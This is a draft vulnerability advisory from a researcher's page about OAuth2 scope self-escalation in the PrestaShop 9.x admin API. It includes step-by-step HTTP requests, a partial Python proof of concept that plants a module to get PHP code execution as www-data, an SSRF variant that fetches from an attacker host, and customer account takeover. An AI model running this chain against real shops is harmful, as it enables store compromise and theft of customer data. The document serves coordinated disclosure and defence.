← ../ prestashop-admin-api-scope-privesc

chu@antisec:~/research$ cat prestashop-admin-api-scope-privesc

prestashop 9.x — admin api oauth2 scope self-escalation to rce

• vendor=prestashop
• product=9.0.0–9.2.0
• --cvss=8.8
• --cwe=269
• id=reserved (cve pending)
• reported=2026-06-08
• found_by=chu
• fixed_in=none released yet
• draft

the admin api endpoint that creates and edits api clients accepts a client-controlled scopes[] array and never checks that the caller is entitled to the scopes it is assigning. a credential holding only api_client_write — the scope you hand to any marketplace, erp or saas integration — rewrites its own scope set to include module_write, mints a fresh oauth token that carries it, and reaches module upload, which is arbitrary php execution as www-data. the same escalation yields customer account takeover (customer_write) and full ssrf (upload-source). no admin session involved — one leaked integration credential is enough.

resumo (pt-br): a admin-api (oauth2, client_credentials) permite que um client de baixo privilégio se conceda escopos que não possui. a operação de criar/editar api clients — guardada apenas pelo escopo api_client_write — grava no client um array scopes totalmente controlado pelo chamador, sem verificar o que ele já detém. um token que só tinha api_client_write cria um client com module_write, emite um token para ele e chega a rce (instalar módulo = php rodando como www-data), takeover de contas de clientes (customer_write) e ssrf full (upload-source). afeta 9.0.0–9.2.0; ≤ 8.2.x não afetadas.

// src/Core/Domain/ApiClient/Command/EditApiClientCommand.php:94
public function setScopes(?array $scopes): self
{
    if (count($scopes) !== count(array_filter($scopes, 'is_string'))) {
        throw new ApiClientConstraintException('Expected list of non empty string for scopes', ...);
    }
    $this->scopes = $scopes;          // no check against the CALLER's own scopes
    return $this;
}

  integration client                admin api                          prestashop host
    (api_client_write)                  │                                     │
    │                                   │                                     │
    │ POST /admin-api/access_token      │                                     │
    │ scope=api_client_write  ─────────►│  token T0 (low-priv)                │
    │                                   │                                     │
    │ POST /admin-api/api-clients       │                                     │
    │ scopes=[module_write,…] ────────►│  no delegation check:               │
    │ ◄──────── 201 {secret} ───────────│  scope list persisted as submitted  │
    │                                   │                                     │
    │ POST /admin-api/access_token      │                                     │
    │ scope=module_write  ─────────────►│  token T1 — finalized against the   │
    │                                   │  attacker-rewritten list            │
    │ POST /admin-api/modules/          │                                     │
    │      upload-archive  Bearer T1 ──►│── unzip into modules/ ─────────────►│
    │                                   │   require() → php runs              │
    │ ◄──────── uid=1000(www-data) ─────────────────── code exec ───────────│

target below: a clean, default prestashop 9.2 install over real https, every request through burp. starting point: a client provisioned for a low-trust integration with the single scope api_client_write. the shop itself is untouched — the attack lives entirely in its admin api.

step 1 — a token with the only scope we hold.

POST /admin-api/access_token HTTP/1.1
Content-Type: application/x-www-form-urlencoded

grant_type=client_credentials&client_id=lowpriv&client_secret=<SECRET>&scope=api_client_write

step 2 — the primary vulnerability: rewrite our own client's scope set. the server answers 200 and echoes it back.

PATCH /admin-api/api-clients/1 HTTP/1.1
Authorization: Bearer <token from step 1>
Content-Type: application/json

{"scopes":["api_client_write","module_write","customer_write"]}

HTTP/1.1 200 OK
{ ... "scopes":["api_client_write","module_write","customer_write"] ... }

step 3 — mint a fresh token; finalizeScopes now grants the self-assigned scopes, and the decoded jwt proves the privilege boundary was crossed.

POST /admin-api/access_token
grant_type=client_credentials&client_id=lowpriv&client_secret=<SECRET>&scope=module_write%20customer_write

{ "aud":"lowpriv", "scopes":["is_authenticated","module_write","customer_write"] }

step 4 — the same module upload is rejected for the low-priv token and accepted for the escalated one: a clean before/after on a single endpoint. the planted module's php runs on load and the command output comes back out-of-band.

POST /admin-api/modules/upload-archive   (bearer low-priv)   → 403 {"detail":"Invalid scope."}
POST /admin-api/modules/upload-archive   (bearer escalated)  → 201 {"technicalName":"pocmod…"}

# the module's php runs on load; output captured out-of-band:
RCE @ host :: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)

the upload-source variant ({"source":"http://attacker/evil.zip"}) makes the server fetch the archive itself — full ssrf reaching internal services and cloud metadata — and then executes the fetched module. customer_write reaches POST /admin-api/customers to create or edit any customer with an attacker-chosen password.

standard library only, no dependencies; every request to the target is routed through an intercepting proxy and the script refuses to run without it. trimmed to the parts that matter — the full script ships with the advisory. run it only against an instance you own.

#!/usr/bin/env python3
# poc.py — prestashop admin api: oauth2 scope self-escalation → rce (>= 9.0.0)
# stdlib only. all target traffic goes through burp (default 127.0.0.1:8080);
# the script exits if the proxy listener is unreachable.

def jwt_scopes(token):
    p = token.split(".")[1]; p += "=" * (-len(p) % 4)
    return json.loads(base64.urlsafe_b64decode(p)).get("scopes", [])

def get_token(c, cid, secret, scope):
    st, body = c.form("/admin-api/access_token", {
        "grant_type": "client_credentials", "client_id": cid,
        "client_secret": secret, "scope": scope})
    try:    return json.loads(body).get("access_token")
    except Exception: return None

# stage 0 — a token with the only scope we hold
t0 = get_token(c, args.client_id, args.client_secret, "api_client_write")

# stage 1 — PRIMARY VULN: self-grant scopes we do not hold (create-based:
# api_client_write also reaches POST /api-clients, no numeric id needed)
esc_cid = "escpoc_%d" % int(time.time())
st, body = c.json_req("POST", "/admin-api/api-clients", {
    "clientId": esc_cid, "clientName": "escpoc", "enabled": True,
    "lifetime": 3600,
    "scopes": ["api_client_write", "module_write", "customer_write"]}, token=t0)
new_secret = json.loads(body).get("secret")   # 201 — nobody checked caller authority
t1 = get_token(c, esc_cid, new_secret, "module_write customer_write")

if "module_write" in jwt_scopes(t1):
    print(">>> PRIVILEGE ESCALATION CONFIRMED: api_client_write -> module_write")

# stage 2 — module_write = code execution: before/after on one endpoint.
# the planted module writes its command output out-of-band on load.
zipb = build_module_zip("pocmod", proof, args.cmd, args.callback)
st, body = c.multipart("/admin-api/modules/upload-archive", t0, "archive", "poc.zip", zipb)
print("  low-priv upload  -> HTTP", st)       # 403 Invalid scope.
st, body = c.multipart("/admin-api/modules/upload-archive", t1, "archive", "poc.zip", zipb)
print("  escalated upload -> HTTP", st)       # 201 = the module's php ran
# --callback serves a built-in listener: ">>> RCE CONFIRMED" as the web user

• $remote code execution as the php user→ www-data, via module_write
• $customer account takeover→ customer_write: create/edit any customer, chosen password
• $full ssrf through module upload-source→ internal services, cloud metadata — then rce
• $durable persistence→ self-granted fully-scoped client, legacy webservice key, tokens that cannot be revoked
• $full store compromise→ catalogue, orders, customer pii, payment configuration

who is exposed: any 9.x shop where an integration, app or partner holds api_client_write — and on 9.1.x/9.2.x the admin api is on out-of-the-box, so the only prerequisite is that one credential. ≤ 8.2.x is not affected (no api-based client management). verified dynamically on clean default installs of 9.1.4 (latest stable) and 9.2.0; the escalation itself also proven on 9.0.0. since the api and the code it executes share the same www-data authority, this scores cvss 3.1 8.8 high (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — defensible as 9.9 critical with S:C if the scope-to-os-code step is treated as a boundary crossing. a shop that grants an integration the innocuous-looking api_client_write scope is effectively granting it code execution on the host — a material gdpr/lgpd exposure.

• 2026-06-06 → 07discovery + lab validation found on 9.2.0, version sweep across 9.0.0–9.2.0, re-validated end-to-end on a clean default install over real https — all traffic through burp.
• 2026-06-08reported (private) coordinated report to the prestashop security team (security-core@prestashop.com) with the advisory, root-cause references and remediation guidance, per the project's security policy.
• pendingvendor triage ghsa/cve registration and confirmation — the identifier on this page stays reserved until the vendor assigns one.
• pendingfix released + cve assigned patched versions at time of report: none. fixes ship in the latest release only, per the project's policy; no fixed release exists yet.
• pendingpublic disclosure this page is complete and staged, but stays flagged draft until the fix is public — then the full detail above goes live unredacted.